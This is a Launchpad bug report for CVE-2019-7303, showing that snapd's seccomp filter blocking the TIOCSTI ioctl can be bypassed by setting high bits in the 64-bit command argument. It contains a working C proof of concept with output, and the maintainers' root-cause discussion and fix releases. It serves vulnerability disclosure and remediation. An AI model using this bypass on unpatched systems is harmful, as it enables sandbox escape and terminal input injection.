snap: seccomp blacklist for TIOCSTI can be circumvented

Bug #1812973 reported by Jann Horn (corp account) on 2019-01-23
264
This bug affects 1 person
Affects Status Importance Assigned to Milestone
snapd
Medium
Zygmunt Krynicki
snapd (Arch Linux)
Fix Released
Undecided
Unassigned
snapd (Debian)
Fix Released
Undecided
Unassigned
snapd (Fedora)
Fix Released
Undecided
Unassigned
snapd (Ubuntu)
Undecided
Unassigned
Trusty
Undecided
Unassigned
Xenial
Undecided
Unassigned
Bionic
Undecided
Unassigned
Cosmic
Undecided
Unassigned
Disco
Undecided
Unassigned

Bug Description

snap uses a seccomp filter to prevent the use of the TIOCSTI ioctl; in the
source code, this filter is expressed as follows:

  # TIOCSTI allows for faking input (man tty_ioctl)
  # TODO: this should be scaled back even more
  ioctl - !TIOCSTI

In the X86-64 version of the compiled seccomp filter, this results in the
following BPF bytecode:

  [...]
  0139 if nr == 0x00000010: [true +0, false +3]
  013b if args[1].high != 0x00000000: [true +205, false +0] -> ret ALLOW (syscalls: ioctl)
  0299 if args[1].low == 0x00005412: [true +111, false +112] -> ret ERRNO
  030a ret ALLOW (syscalls: ioctl)
  [...]

This bytecode performs a 64-bit comparison; however, the syscall entry point for
ioctl() is defined with a 32-bit command argument in the kernel:

SYSCALL_DEFINE3(ioctl, unsigned int, fd, unsigned int, cmd, unsigned long, arg)
{
  return ksys_ioctl(fd, cmd, arg);
}

This means that setting a bit in the high half of the command parameter will
circumvent the seccomp filter while being ignored by the kernel.

This can be tested as follows on Ubuntu 18.04. You might have to launch the
GNOME calculator once first to create the snap directory hierarchy, I'm not
sure.

====================================================================
user@ubuntu-18-04-vm:~$ cat tiocsti.c
#define _GNU_SOURCE
#include <termios.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/syscall.h>
#include <errno.h>

static int ioctl64(int fd, unsigned long nr, void *arg) {
  errno = 0;
  return syscall(__NR_ioctl, fd, nr, arg);
}

int main(void) {
  int res;
  char pushmeback = '#';
  res = ioctl64(0, TIOCSTI, &pushmeback);
  printf("normal TIOCSTI: %d (%m)\n", res);
  res = ioctl64(0, TIOCSTI | (1UL<<32), &pushmeback);
  printf("high-bit-set TIOCSTI: %d (%m)\n", res);
}

user@ubuntu-18-04-vm:~$ gcc -o tiocsti tiocsti.c -Wall
user@ubuntu-18-04-vm:~$ ./tiocsti
#normal TIOCSTI: 0 (Success)
#high-bit-set TIOCSTI: 0 (Success)
user@ubuntu-18-04-vm:~$ ##
user@ubuntu-18-04-vm:~$ cp tiocsti /home/user/snap/gnome-calculator/current/tiocsti
user@ubuntu-18-04-vm:~$ snap run --shell gnome-calculator
[...]
user@ubuntu-18-04-vm:/home/user$ cd
user@ubuntu-18-04-vm:~$ ./tiocsti
normal TIOCSTI: -1 (Operation not permitted)
#high-bit-set TIOCSTI: 0 (Success)
user@ubuntu-18-04-vm:~$ #
user@ubuntu-18-04-vm:~$ pwd
/home/user/snap/gnome-calculator/260
user@ubuntu-18-04-vm:~$
====================================================================

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.

CVE References

Zygmunt Krynicki (zyga) on 2019-01-23
Changed in snappy:
importance: Undecided → Critical
status: New → Triaged
Zygmunt Krynicki (zyga) wrote :

I'm adding a reproducer to the source tree. Looking at options on how to fix that without changes to libseccomp/golang-seccomp now.

Changed in snappy:
assignee: nobody → Zygmunt Krynicki (zyga)
Zygmunt Krynicki (zyga) wrote :

We have a working solution now. I will work with the security team on proper process.

Jamie Strandboge (jdstrand) wrote :

FYI, the approach we plan to take to address this issue was too involved for the 2.37.1 release, but it will be included in 2.37.2.

Zygmunt Krynicki (zyga) wrote :

This is fixed in 2.37.4, once it is published everywhere (pending on Ubuntu at this time) the bug can become public.

affects: snappy → snapd
Changed in snapd:
milestone: none → 2.37.4
status: Triaged → Fix Committed
Jamie Strandboge (jdstrand) wrote :

To expand on Zygmunt's comment:

The default seccomp filter in is configured to block ioctl(..., TIOCSTI, ...) but in snapd < 2.37.4 this could be circumvented on 64 bit architectures by setting any high bits in the 2nd argument to ioctl. This was caused in part because the Linux kernel ignores the high bits when processing the ioctl but considers them when evaluating the seccomp filter. This is arguably a kernel bug in that the kernel is not performing the seccomp filter check on the value that it is ultimately going to process.

This was further complicated by the fact that the tty_ioctl man page (which is the one that documents TIOCSTI) lists the ioctl second argument as an int while the ioctl man page lists it as unsigned long.

Jamie Strandboge (jdstrand) wrote :

In terms of Ubuntu and making this bug public, due to miscoordination, 2.37.4 is going to -updates in Ubuntu first as part of the regular SRU cycle. Once that passes, we'll rebuild and publish to the security pocket, issue a USN and mark this bug public.

Other distros already have 2.37.4 except Debian. Debian buster (testing) has 2.37.2, but 2.37.4 should migrate. Debian stretch (stable) has 2.21 but it doesn't use an enforcing seccomp. Debian does have reexec so it will get an updated core/snapd snap regardless.

Changed in snapd (Debian):
status: New → Fix Released
Changed in snapd:
status: Fix Committed → Fix Released
importance: Critical → Medium
Changed in snapd (Arch Linux):
status: New → Fix Released
Changed in snapd (Fedora):
status: New → Fix Released
Changed in snapd (Ubuntu Disco):
status: New → Fix Released
Changed in snapd (Ubuntu Cosmic):
status: New → Fix Committed
Changed in snapd (Ubuntu Bionic):
status: New → Fix Committed
Changed in snapd (Ubuntu Xenial):
status: New → Fix Committed
Changed in snapd (Ubuntu Trusty):
status: New → Fix Committed
Jamie Strandboge (jdstrand) wrote :

Regarding "This is arguably a kernel bug in that the kernel is not performing the seccomp filter check on the value that it is ultimately going to process." it should be pointed out that the seccomp man page has this to say:

"When checking values from args against a blacklist, keep in mind that arguments are often silently truncated before being processed, but after the seccomp check".

It goes on to give specific examples about syscalls with an int arg and how the full 64bits are in the seccomp data whereas the kernel will only look at the lowest 32bits, which is this bug (note, TIOCSTI is the only blacklist rule we have in snapd). The problem is that glibc and the kernel disagree on the function prototype (glibc man page says unsigned long and the kernel is considering it an int) and snapd got caught up in the discrepancy.

So, there is a known kernel limitation for when the time of check of the seccomp data is done and the ignored high bits are sent off to ioctl(), the kernel treats the 2nd arg of ioctl() as an int, the int limitation is documented in the libseccomp man page and there is a man page for ioctl that says the 2nd arg is an unsigned long. Ideally the kernel and glibc would align on this point, the kernel would lift this limitation or at least libseccomp would provide more assistance for dealing with this limitation.

Jamie Strandboge (jdstrand) wrote :

This is CVE-2019-7303

Zygmunt Krynicki (zyga) wrote :

All distributions but Ubuntu are now on 2.37.4, once that one is migrated to stable / updates we can make this issue public.

Validation done. No errors found.

Launchpad Janitor (janitor) wrote :

This bug was fixed in the package snapd - 2.37.4ubuntu0.1

---------------
snapd (2.37.4ubuntu0.1) xenial-security; urgency=medium

  * No change rebuild for xenial-security (LP: #1812973)
    - CVE-2019-7303

 -- Jamie Strandboge <email address hidden> Fri, 15 Mar 2019 19:56:59 +0000

Changed in snapd (Ubuntu Xenial):
status: Fix Committed → Fix Released
Launchpad Janitor (janitor) wrote :

This bug was fixed in the package snapd - 2.37.4~14.04.1

---------------
snapd (2.37.4~14.04.1) trusty-security; urgency=medium

  * No change rebuild for trusty-security (LP: #1812973)
    - CVE-2019-7303

 -- Jamie Strandboge <email address hidden> Fri, 15 Mar 2019 20:00:21 +0000

Changed in snapd (Ubuntu Trusty):
status: Fix Committed → Fix Released
Launchpad Janitor (janitor) wrote :

This bug was fixed in the package snapd - 2.37.4+18.04.1

---------------
snapd (2.37.4+18.04.1) bionic-security; urgency=medium

  * No change rebuild for bionic-security (LP: #1812973)
    - CVE-2019-7303

 -- Jamie Strandboge <email address hidden> Fri, 15 Mar 2019 19:54:24 +0000

Changed in snapd (Ubuntu Bionic):
status: Fix Committed → Fix Released
Launchpad Janitor (janitor) wrote :

This bug was fixed in the package snapd - 2.37.4+18.10.1

---------------
snapd (2.37.4+18.10.1) cosmic-security; urgency=medium

  * No change rebuild for cosmic-security (LP: #1812973)
    - CVE-2019-7303

 -- Jamie Strandboge <email address hidden> Fri, 15 Mar 2019 19:53:14 +0000

Changed in snapd (Ubuntu Cosmic):
status: Fix Committed → Fix Released
information type: Private Security → Public Security
Zygmunt Krynicki (zyga) wrote :

I will now propose the regression test. Thank you for making the bug public now.

To post a comment you must log in.
This report contains Public Security information  Edit
Everyone can see this security related information.

Other bug subscribers